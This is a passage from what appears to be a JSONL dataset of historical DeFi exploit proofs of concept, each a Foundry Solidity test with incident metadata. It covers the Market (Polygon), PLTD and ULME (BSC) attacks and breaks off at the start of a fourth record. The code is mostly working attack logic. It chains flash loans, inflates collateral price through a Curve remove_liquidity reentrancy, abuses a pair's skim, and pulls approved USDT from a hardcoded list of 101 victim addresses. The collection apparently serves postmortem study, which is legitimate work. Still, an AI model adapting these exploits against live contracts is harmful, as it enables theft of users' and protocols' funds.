ICurvePool(0xFb6FE7802bA9290ef8b00CA16Af4Bc26eb663a28);\n IERC20 private constant stMATIC_f = IERC20(0xe7CEA2F6d7b120174BF3A9Bc98efaF1fF72C997d); // Curve LP token\n BeefyVault private constant beefyVault = BeefyVault(0xE0570ddFca69E5E90d83Ea04bb33824D3BbE6a85); // mooCurvestMATIC-MATIC\n\n IUnitroller private constant unitroller = IUnitroller(0x627742AaFe82EB5129DD33D237FF318eF5F76CBC);\n IRouter private constant router = IRouter(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);\n Uni_Router_V3 private constant routerV3 = Uni_Router_V3(0xf5b509bB0909a69B1c207E495f687a596C168E12);\n\n CErc20Interface private constant CErc20_mmooCurvestMATIC_MATIC_4 =\n CErc20Interface(0x570Bc2b7Ad1399237185A27e66AEA9CfFF5F3dB8);\n ICErc20Delegate private constant CErc20Delegate_mMAI_4 = ICErc20Delegate(0x3dC7E6FF0fB79770FA6FB05d1ea4deACCe823943);\n\n IERC20 private constant miMATIC = IERC20(0xa3Fa99A148fA48D14Ed51d610c367C61876997F1); // MAI stablecoin\n IERC20 private constant USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);\n\n function setUp() public {\n vm.createSelectFork(\"polygon\", 34_716_800); // fork Polygon at block 34716800\n vm.deal(address(this), 0); // set address(this).balance to 0\n }\n\n function testHack() external {\n _aaveFlashLoan();\n\n console.log(\"\\n Attacker's profit:\");\n console.log(\"stMATIC:\", stMATIC.balanceOf(address(this)) / 1e18);\n console.log(\"WMATIC:\", WMATIC.balanceOf(address(this)) / 1e18);\n }\n\n function _aaveFlashLoan() internal {\n // flashloan WMATIC from Aave\n address[] memory assets = new address[](1);\n assets[0] = address(WMATIC);\n\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 15_419_963 ether;\n\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n\n aaveLendingPool.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n }\n\n function executeOperation( // Aave callback\n address[] memory assets,\n uint256[] memory amounts,\n uint256[] memory premiums,\n address initiator,\n bytes memory params\n ) external returns (bool) {\n _balancerFlashLoan();\n\n WMATIC.approve(address(aaveLendingPool), type(uint256).max); // repay\n return true;\n }\n\n function _balancerFlashLoan() internal {\n // flashloan WMATIC and stMATIC from Balancer\n address[] memory tokens = new address[](2);\n tokens[0] = address(WMATIC);\n tokens[1] = address(stMATIC);\n\n uint256[] memory amountsBalancer = new uint256[](2);\n amountsBalancer[0] = 34_580_036 ether; // + 15_419_963 Aave -> 50M debt\n amountsBalancer[1] = 19_664_260 ether;\n\n balancerVault.flashLoan(address(this), tokens, amountsBalancer, \"\");\n }\n\n function receiveFlashLoan( // Balancer callback\n IERC20[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n _exploit();\n _liquidate();\n _sellAll();\n\n // repay\n stMATIC.transfer(address(balancerVault), 19_664_260 ether);\n WMATIC.transfer(address(balancerVault), 34_580_036 ether);\n }\n\n function _exploit() internal {\n // add liquidity to WMATIC/stMATIC Curve pool, receive Curve LP tokens stMATIC_f\n WMATIC.approve(address(vyperContract), type(uint256).max);\n stMATIC.approve(address(vyperContract), type(uint256).max);\n\n vyperContract.add_liquidity([uint256(19_664_260 ether), uint256(49_999_999 ether)], 0); // mint 34_640_026 stMATIC_f\n\n address[] memory market = new address[](1);\n market[0] = address(CErc20_mmooCurvestMATIC_MATIC_4);\n unitroller.enterMarkets(market);\n\n // deposit 90_000 stMATIC_f and mint 85901 mooCurvestMATIC-MATIC (BeefyVault token) as collateral to Market via Beefy Vault\n stMATIC_f.approve(address(beefyVault), type(uint256).max);\n beefyVault.deposit(90_000 ether);\n\n // use 85_901 mooCurvestMATIC-MATIC to mint 429_505 Ctokens\n beefyVault.approve(address(CErc20_mmooCurvestMATIC_MATIC_4), type(uint256).max);\n CErc20_mmooCurvestMATIC_MATIC_4.mint(beefyVault.balanceOf(address(this)));\n\n // remove liquidity from WMATIC/stMATIC Curve pool: receive WMATIC, stMATIC, miMATIC. This step increases collateral price\n vyperContract.remove_liquidity(stMATIC_f.balanceOf(address(this)), [uint256(0), uint256(0)], true); // burn stMATIC_f, trigger receive()\n }\n\n function _liquidate() internal {\n Liquidator liquidator = new Liquidator();\n miMATIC.transfer(address(liquidator), miMATIC.balanceOf(address(this))); // use MAI to liquidate collateral\n liquidator.liquidate(address(this));\n\n // take back stMATIC_f\n beefyVault.withdrawAll();\n\n // remove liquidity from Curve pool 2nd time\n vyperContract.remove_liquidity(stMATIC_f.balanceOf(address(this)), [uint256(0), uint256(0)], true); // burn stMATIC_f, trigger receive()\n }\n\n receive() external payable {\n // Borrow MAI with expensive collateral\n // (,uint256 amount,) = unitroller.getAccountLiquidity(address(this)); 191\n CErc20Delegate_mMAI_4.borrow(250_000 ether); // 250_000 miMATIC\n }\n\n function _sellAll() internal {\n // wrap all native MATIC (from remove_liquidity) to WMATIC\n WMATIC.deposit{value: address(this).balance}();\n\n // swap all miMATIC for WMATIC to repay Aave\n miMATIC.approve(address(router), type(uint256).max);\n address[] memory path = new address[](3);\n path[0] = address(miMATIC);\n path[1] = address(USDC);\n path[2] = address(WMATIC);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n miMATIC.balanceOf(address(this)), 0, path, address(this), type(uint256).max\n );\n\n // swap some WMATIC for stMATIC to repay Balancer\n WMATIC.approve(address(routerV3), type(uint256).max);\n Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(WMATIC),\n tokenOut: address(stMATIC),\n deadline: type(uint256).max,\n recipient: address(this),\n amountIn: 1355 ether,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n routerV3.exactInputSingle(_Params);\n }\n}\n\n/* -------------------- Interface -------------------- */\ninterface CErc20Interface {\n function mint(\n uint256 mintAmount\n ) external returns (uint256);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function borrow(\n uint256 borrowAmount\n ) external returns (uint256);\n function redeem(\n uint256 amount\n ) external;\n function withdrawAll() external;\n function transfer(address to, uint256 amount) external returns (bool);\n}\n\ninterface ICErc20Delegate {\n function liquidateBorrow(\n address borrower,\n uint256 repayAmount,\n address cTokenCollateral\n ) external returns (uint256);\n function borrow(\n uint256 borrowAmount\n ) external returns (uint256);\n}\n\ninterface BeefyVault {\n function deposit(\n uint256 _amount\n ) external;\n function withdraw(\n uint256 _amount\n ) external;\n function withdrawAll() external;\n function balance() external view returns (uint256);\n function token() external view returns (address);\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address owner\n ) external view returns (uint256);\n function transfer(address recipient, uint256 amount) external returns (bool);\n}\n\ninterface IUnitroller {\n function enterMarkets(\n address[] memory cTokens\n ) external returns (uint256[] memory);\n function exitMarket(\n address cTokenAddress\n ) external returns (uint256);\n function cTokensByUnderlying(\n address\n ) external view returns (address);\n function getAccountLiquidity(\n address account\n ) external view returns (uint256, uint256, uint256);\n}\n\ninterface IERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n}\n\ninterface WETH9 {\n function deposit() external payable;\n function transfer(address to, uint256 value) external returns (bool);\n function approve(address guy, uint256 wad) external returns (bool);\n function withdraw(\n uint256 wad\n ) external;\n function balanceOf(\n address\n ) external view returns (uint256);\n}\n\ninterface ILendingPool {\n function flashLoan(\n address receiverAddress,\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata modes,\n address onBehalfOf,\n bytes calldata params,\n uint16 referralCode\n ) external;\n}\n\ninterface IBalancerVault {\n function flashLoan(\n address recipient,\n address[] memory tokens,\n uint256[] memory amounts,\n bytes memory userData\n ) external;\n}\n\ninterface ICurvePool {\n function remove_liquidity(uint256 _amount, uint256[2] calldata min_amounts, bool donate_dust) external;\n function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external returns (uint256);\n}\n\ninterface IRouter {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface Uni_Router_V3 {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(\n ExactInputSingleParams memory params\n ) external payable returns (uint256 amountOut);\n}\n", "type": "exploit_poc", "protocol": "Market", "date": "2022-10", "file_name": "Market_exp.sol", "attack_vector": "flash_loan", "content_hash": "21cbd126063dd9ee", "collected_at": "2026-01-07T10:59:16.516360", "_source": "postmortems", "chain": "polygon", "block_number": 34716800, "total_lost_raw": "$180k", "total_lost_usd": 180000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://phalcon.blocksec.com/tx/polygon/0xb8efe839da0c89daa763f39f30577dc21937ae351c6f99336a0017e63d387558", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "high", "severity_raw": "$180k", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://phalcon.blocksec.com/tx/polygon/0xb8efe839da0c89daa763f39f30577dc21937ae351c6f99336a0017e63d387558", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$180.0K", "content_richness_score": 7, "quality_estimate": "medium", "title": "Market Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "//SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1582181583343484928\n// TX\n// https://bscscan.com/tx/0x8385625e9d8011f4ad5d023d64dc7985f0315b6a4be37424c7212fe4c10dafe0\n\ncontract ContractTest is Test {\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 PLTD = IERC20(0x29b2525e11BC0B0E9E59f705F318601eA6756645);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x4397C76088db8f16C15455eB943Dd11F2DF56545);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address constant dodo1 = 0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE;\n address constant dodo2 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 22_252_045);\n }\n\n function testExploit() external {\n USDT.approve(address(Router), type(uint256).max);\n PLTD.approve(address(Router), type(uint256).max);\n DVM(dodo1).flashLoan(0, 220_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (msg.sender == dodo1) {\n DVM(dodo2).flashLoan(0, 440_000 * 1e18, address(this), new bytes(1));\n USDT.transfer(dodo1, 220_000 * 1e18);\n }\n if (msg.sender == dodo2) {\n USDTToPLTD();\n uint256 amount = PLTD.balanceOf(address(Pair));\n PLTD.transfer(address(Pair), amount * 2 - 1);\n Pair.skim(address(this));\n PLTD.transfer(tx.origin, 1e18);\n PLTDToUSDT();\n USDT.transfer(dodo2, 440_000 * 1e18);\n }\n }\n\n function USDTToPLTD() internal {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(PLTD);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 660_000 * 1e18, 0, path, address(this), block.timestamp\n );\n }\n\n function PLTDToUSDT() internal {\n address[] memory path = new address[](2);\n path[0] = address(PLTD);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n PLTD.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "PLTD", "date": "2022-10", "file_name": "PLTD_exp.sol", "attack_vector": "flash_loan", "content_hash": "1754262cd617cff7", "collected_at": "2026-01-07T10:59:16.516439", "_source": "postmortems", "chain": "bsc", "block_number": 22252045, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.29, "quality_estimate": "low", "title": "PLTD Exploit (2022-10)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~250k US$ which resulted in ~50k profit\n// Attacker : 0x056c20ab7e25e4dd7e49568f964d98e415da63d3\n// Attack Contract : 0x8523c7661850d0da4d86587ce9674da23369ff26\n// Vulnerable Contract : 0xAE975a25646E6eB859615d0A147B909c13D31FEd (ULME Token)\n// Attack Tx : https://phalcon.blocksec.com/tx/bsc/0xdb9a13bc970b97824e082782e838bdff0b76b30d268f1d66aac507f1d43ff4ed\n\n// @Analysis\n// Blocksec : https://twitter.com/BlockSecTeam/status/1584839309781135361\n// Beosin: https://twitter.com/BeosinAlert/status/1584888021299916801\n// Neptune Mutual: https://medium.com/neptune-mutual/decoding-ulme-token-flash-loan-attack-56470d261787\n\nCheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\nIPancakePair constant ULME_BUSD_LPPool = IPancakePair(0xf18e5EC98541D073dAA0864232B9398fa183e0d4);\nIPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\nIULME constant ULME = IULME(0xAE975a25646E6eB859615d0A147B909c13D31FEd);\n\n// Dodo pairs used only to accumulate BUSD for the frontrun.\n// In the original tx hacker used multiple pools to gather 1M$ to extract 50k profit.\n// Here we use only those two to get 560k$ and gain 45k profit as an example.\naddress constant dodo1 = 0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE;\naddress constant dodo2 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;\n\ncontract Attacker is Test {\n IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n\n uint256 dodo1Balance;\n uint256 dodo2Balance;\n\n function setUp() public {\n cheat.label(address(ULME_BUSD_LPPool), \"ULME_BUSD_LPPool\");\n cheat.label(address(pancakeRouter), \"pancakeRouter\");\n cheat.label(address(USDT), \"USDT\");\n cheat.label(address(ULME), \"ULME\");\n\n cheat.createSelectFork(\"bsc\", 22_476_695);\n console.log(\"-------------------------------- Start Attacker ----------------------------------\");\n }\n\n function testExploit() external {\n USDT.approve(address(pancakeRouter), type(uint256).max);\n ULME.approve(address(pancakeRouter), type(uint256).max);\n\n emit log_named_decimal_uint(\"[Start] Attacker USDT Balance\", USDT.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[Start] Attacker ULME Balance\", ULME.balanceOf(address(this)), 18);\n\n // addresses attacked by the hacker\n address[] memory victims = new address[](101);\n victims[0] = 0x4A005e5E40Ce2B827C873cA37af77e6873e37203;\n victims[1] = 0x5eCe8A3382FD5317EBa6670cAe2F70ccA8845859;\n victims[2] = 0x065D5Bfb0bdeAdA1637974F76AcF54428D61c45d;\n victims[3] = 0x0C678244aaEd33b6c963C2D6B14950d35EAB899F;\n victims[4] = 0x1F0D9584bC8729Ec139ED5Befe0c8677994FcB35;\n victims[5] = 0x6b8cdC12e9E2F5b3620FfB12c04C5e7b0990aaf2;\n victims[6] = 0xA9882080e01F8FD11fa85F05f7c7733D1C9837DF;\n victims[7] = 0x1dFBBECc9304f73caD14C3785f25C1d1924ACB0B;\n victims[8] = 0x0b038F3e5454aa745Ff029706656Fed638d5F73a;\n victims[9] = 0x0Bd084decfb04237E489cAD4c8A559FC5ce44f90;\n victims[10] = 0x5EB2e4907f796C9879181041fF633F33f8858d93;\n victims[11] = 0x0DE272Ef3273d49Eb608296A783dBd36488d3989;\n victims[12] = 0xAe800360ac329ceA761AFDa2d3D55Bd12932Ab62;\n victims[13] = 0xf7726cA96bF1Cee9c6dC568ad3A801E637d10076;\n victims[14] = 0x847aA967534C31b47d46A2eEf5832313E36b25E2;\n victims[15] = 0x6c91DA0Dc1e8ab02Ab1aB8871c5aE312ef04273b;\n victims[16] = 0xb14018024600eE3c747Be98845c8536994D40A5D;\n victims[17] = 0x8EcdD8859aA286c6bae1f570eb0105457fD24cd2;\n victims[18] = 0x6ff1c499C13548ee5C9B1EA6d366A5E11EcA60ca;\n victims[19] = 0xC02eb88068A40aEe6E4649bDc940e0f792e16C22;\n victims[20] = 0xa2D5b4de4cb10043D190aae23D1eFC02E31F1Cb6;\n victims[21] = 0x5E05B8aC4494476Dd539e0F4E1302806ec52ED6F;\n victims[22] = 0xDeb6FDCa49e54c8b0704C5B3f941ED6319139816;\n victims[23] = 0x0E6533B8d6937cC8b4c9be31c00acBfaCB6760a5;\n victims[24] = 0xCE0Fd72a7cF07EB9B20562bbb142Cb711A42867f;\n victims[25] = 0x4868725bf6D395148def99E6C43074C774e7AC1D;\n victims[26] = 0x2F1f2BAF34703d16BcfD62cF64A7A5a44Ad6c9d4;\n victims[27] = 0x3d49Bdf065f009621A02c5Fd88f72ed0A3910521;\n victims[28] = 0x6E31C08f1938BE5DF98F8968747bB34802D76E50;\n victims[29] = 0x4F741D8DCDEdd74DadeA6cd3A7e41ECb28076209;\n victims[30] = 0x5480c14b9841C89527F0D1A55dDC0D273Aae3609;\n victims[31] = 0xb3725dA113eFFd7F39BE62A5E349f26e82a949fF;\n victims[32] = 0x9d83Dee089a5fBfB5F2F1268EDB80aeA8Ba5aF16;\n victims[33] = 0x0c02F3d6962245E934A3fe415EAbA6bf570c1883;\n victims[34] = 0x0182cfEFB268DD510ee77F32527578BEAC6238e2;\n victims[35] = 0x78598Ac3943454682477852E846532F73d5cFE5F;\n victims[36] = 0xd067c7585425e1e5AA98743BdA5fB65212751476;\n victims[37] = 0x3507ddF8b74dAEd03fE76EE74B7d6544F3B254B7;\n victims[38] = 0xEca4Fd6b05E5849aAf5F2bEE5Eb3B50f8C4f4E3c;\n victims[39] = 0xAA279af072080f3e453A916b77862b4ff6eB245E;\n victims[40] = 0x4e505a21325A6820E2099Bbd15f6832c6f696a3c;\n victims[41] = 0xA5b63F7b40A5Cc5ee6B9dB7cef2415699627Ee89;\n victims[42] = 0x3dd624cEd432DDc32fA0afDaE855b76aa1431644;\n victims[43] = 0x17f217Fdeff7Ee4a81a4b2f42c695EDC20806957;\n victims[44] = 0x41819F36878d15A776225928CD52DC56acCFD553;\n victims[45] = 0x61ca76703C5aF052c9b0aCc2Bab0276875DDd328;\n victims[46] = 0x2956bCc87450B424C7305C4c6CF771196c23A52E;\n victims[47] = 0x03be05224803c89f3b8C806d887fD84A20D16e5C;\n victims[48] = 0x3C97320bf030C2c120FdCe19023A571f3fbB6184;\n victims[49] = 0xc52021150ca5c32253220bE328ddC05F86d3a619;\n victims[50] = 0x6d7aAa35c4B2dBD6F1E979e04884AeE1B4FBB407;\n victims[51] = 0x7c80162197607312EC99d7c9e34720B3572d6D16;\n victims[52] = 0x15D92C909826017Ff0184eea3e38c36489517A7C;\n victims[53] = 0xC07fa7a1F14A374d169Dc593261843B4A6d9C1C3;\n victims[54] = 0x4b415F48FA70a9a0050F6380e843790260973808;\n victims[55] = 0x9CeEeB927b85d4bD3b4e282c17EB186bCDC4Dd15;\n victims[56] = 0x0eb76DAf60bdF637FC207BFb545B546D5Ee208B1;\n victims[57] = 0x96D7F1660e708eDdF2b6f655ADB61686B59bC190;\n victims[58] = 0xDCeB637E38dBae685222eEf6635095AaaEC65496;\n victims[59] = 0x36083Aac533353317C24Bd53227DbF29Ed9F384c;\n victims[60] = 0x94913f31fBaFcb0ae6e5EfA4C18E3ee301097eab;\n victims[61] = 0x188c50F43f9fA0026BAaa7d8cF83c358311f0500;\n victims[62] = 0x3d8dcC70777643612564D84176f769A1417987a5;\n victims[63] = 0x00273CEEe956543c801429A886cD0E1a79f5d8cA;\n victims[64] = 0xC43C5F785D06b582E3E710Dc0156267Fd135C602;\n victims[65] = 0x0406aefd83f20700D31a49F3d6fdbF52e8F7D0Ef;\n victims[66] = 0xBeD8C7433dE90D349f96C6AE82d4eb4482AA6Bf7;\n victims[67] = 0xDe436F7742cE08f843f8d84e7998E0B7e4b73101;\n victims[68] = 0xd38c6E26aa4888DE59C2EAaD6138B0b66ABBF21D;\n victims[69] = 0xc0dFb3219F0C72E902544a080ba0086da53F9599;\n victims[70] = 0xFAAD61bd6b509145c2988B03529fF21F3C9970B2;\n victims[71] = 0x9f9BEEF87Cfe141868E21EacbDDB48DF6c54C2F2;\n victims[72] = 0x6614e2e86b4646793714B1fa535fc5875bB446d5;\n victims[73] = 0x7eFe3780b1b0cde8F300443fbb4C12a73904a948;\n victims[74] = 0xAd813b95A27233E7Abd92C62bBa87f59Ca8F9339;\n victims[75] = 0x13F33854cE08e07D20F5C0B16884267dde21a501;\n victims[76] = 0x59ebcde7Ec542b5198095917987755727725fD1d;\n victims[77] = 0xe5A5B86119BD9fd4DF5478AbE1d3D9F46BF3Ba5F;\n victims[78] = 0xC2724ed2B629290787Eb4A91f00aAFE58F262025;\n victims[79] = 0xDFa225eB03F9cc2514361A044EDDA777eA51b9ad;\n victims[80] = 0x85d981E3CDdb402F9Ae96948900971102Ee5d6b5;\n victims[81] = 0xb0Ac3A88bFc919cA189f7d4AbA8e2F191b37A65B;\n victims[82] = 0x1A906A9A385132D6B1a62Bb8547fD20c38dd79Bb;\n victims[83] = 0x9d36C7c400e033aeAc391b24F47339d7CB7bc033;\n victims[84] = 0x5B19C1F57b227C67Bef1e77b1B6796eF22aEe21B;\n victims[85] = 0xbfd0785a924c3547544C95913dAC0b119865DF9e;\n victims[86] = 0xF003E6430fbC1194ffA3419629A389B7C113F083;\n victims[87] = 0xfa30Cd705eE0908e2Dac4C19575F824DED99818E;\n victims[88] = 0xe27027B827FE2FBcFCb56269d4463881AA6B8955;\n victims[89] = 0xEddD7179E461F42149104DCb87F3b5b657a05399;\n victims[90] = 0x980FcDB646c674FF9B6621902aCB8a4012974093;\n victims[91] = 0x2eBc77934935980357A894577c2CC7107574f971;\n victims[92] = 0x798435DE8fA75993bFC9aD84465d7F812507b604;\n victims[93] = 0x1Be117F424e9e6f845F7b07C072c1d67F114f885;\n victims[94] = 0x434e921bDFe74605BD2AAbC2f6389dDBA2d37ACA;\n victims[95] = 0xaFacAc64426D1cE0512363338066cc8cABB3AEa2;\n victims[96] = 0x2693e0A37Ea6e669aB43dF6ee68b453F6D6F3EBD;\n victims[97] = 0x77Aee2AAc9881F4A4C347eb94dEd088aD49C574D;\n victims[98] = 0x951f4785A2A61fe8934393e0ff6513D6946D8d97;\n victims[99] = 0x2051cE514801167545E74b5DD2a8cF5034c6b17b;\n victims[100] = 0xC2EE820756d4074d887d762Fd8F70c4Fc47Ab47f;\n\n dodo1Balance = USDT.balanceOf(dodo1);\n emit log_named_decimal_uint(\"[before 1st flashloan] borrowing from dodo1\", dodo1Balance, USDT.decimals());\n DVM(dodo1).flashLoan(0, dodo1Balance, address(this), abi.encode(victims));\n\n console.log(\"-------------------------------- End Exploit ----------------------------------\");\n emit log_named_decimal_uint(\"[End] Attacker USDT Balance\", USDT.balanceOf(address(this)), USDT.decimals());\n emit log_named_decimal_uint(\"[End] Attacker ULME Balance\", ULME.balanceOf(address(this)), ULME.decimals());\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (msg.sender == dodo1) {\n dodo2Balance = USDT.balanceOf(dodo2);\n emit log_named_decimal_uint(\"[Callback 1] borrowing from dodo2\", dodo2Balance, USDT.decimals());\n DVM(dodo2).flashLoan(0, dodo2Balance, address(this), data);\n emit log_named_decimal_uint(\n \"[Callback 1] Attacker USDT Balance after 1st repay\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n USDT.transfer(dodo1, dodo1Balance);\n emit log_named_decimal_uint(\n \"[Callback 1] Attacker USDT Balance after 2nd repay\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n }\n if (msg.sender == dodo2) {\n emit log_named_decimal_uint(\n \"[Callback 2] Attacker USDT Balance at start\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n emit log_named_decimal_uint(\n \"[Callback 2] Attacker ULME Balance at start\", ULME.balanceOf(address(this)), ULME.decimals()\n );\n\n USDTToULME();\n\n emit log_named_decimal_uint(\n \"[Callback 2] Attacker USDT Balance after frontrun swap\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n emit log_named_decimal_uint(\n \"[Callback 2] Attacker ULME Balance after frontrun swap\", ULME.balanceOf(address(this)), ULME.decimals()\n );\n\n address[] memory victims = abi.decode(data, (address[]));\n uint256 numOfVictims = victims.length;\n uint256 amount = 0;\n for (uint256 i = 0; i < numOfVictims; ++i) {\n uint256 balance = USDT.balanceOf(address(victims[i]));\n uint256 allowance = USDT.allowance(address(victims[i]), address(ULME));\n uint256 take = balance;\n if (balance > allowance) {\n take = allowance;\n }\n\n if (take / 1 ether > 1) {\n emit log_named_address(\"mining from\", victims[i]);\n emit log_named_decimal_uint(\"available for swap\", take, USDT.decimals());\n try ULME.buyMiner(victims[i], 100 * take / 110 - 1) {\n amount += take;\n } catch {\n emit log_named_address(\"bad victim\", victims[i]);\n }\n } else {\n emit log_named_address(\"poor victim\", victims[i]);\n }\n }\n emit log_named_decimal_uint(\"total lost\", amount, USDT.decimals());\n\n ULMEToUSDT();\n\n emit log_named_decimal_uint(\n \"[Callback 2] Attacker USDT Balance after backrun\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n emit log_named_decimal_uint(\n \"[Callback 2] Attacker ULME Balance after backrun\", ULME.balanceOf(address(this)), ULME.decimals()\n );\n USDT.transfer(dodo2, dodo2Balance);\n emit log_named_decimal_uint(\n \"[Callback 2] Attacker USDT Balance after 1st repay\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n }\n }\n\n function USDTToULME() internal {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(ULME);\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function ULMEToUSDT() internal {\n address[] memory path = new address[](2);\n path[0] = address(ULME);\n path[1] = address(USDT);\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n ULME.balanceOf(address(this)) - 1, 0, path, address(this), block.timestamp\n );\n }\n}\n\n/* -------------------- Interface -------------------- */\ninterface IULME is IERC20 {\n function buyMiner(address user, uint256 usdt) external returns (bool);\n}\n", "type": "exploit_poc", "protocol": "ULME", "date": "2022-10", "file_name": "ULME_exp.sol", "attack_vector": "flash_loan", "content_hash": "e6e7699f62609c65", "collected_at": "2026-01-07T10:59:16.516488", "_source": "postmortems", "chain": "unknown", "block_number": 22476695, "total_lost_raw": "~250k US$ which resulted in ~50k profit", "total_lost_usd": 250000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://phalcon.blocksec.com/tx/bsc/0xdb9a13bc970b97824e082782e838bdff0b76b30d268f1d66aac507f1d43ff4ed", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~250k US$ which resulted in ~50k profit", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~250k US$ which resulted in ~50k profit", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://phalcon.blocksec.com/tx/bsc/0xdb9a13bc970b97824e082782e838bdff0b76b30d268f1d66aac507f1d43ff4ed", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$250.0K", "content_richness_score": 7, "quality_estimate": "medium", "title": "ULME Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~187.75 WETH\n// Attacker : 0x1dc90b5b7FE74715C2056e5158641c0af7d28865\n// Attack Contract : https://etherscan.io/address/0x4b77c789fa35b54dacb5f6bb2daaa01554299d6c\n// Vulnerable Contract : https://etherscan.io/address/0x00000000000a47b1298f18cf67de547bbe0d723f#code\n// Attack Tx : https://etherscan.io/tx/0x35ecf595864400696853c53edf3e3d60096639b6071cadea6076c9c6ceb921c1\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x00000000000a47b1298f18cf67de547bbe0d723f#code (unverified)\n\n// 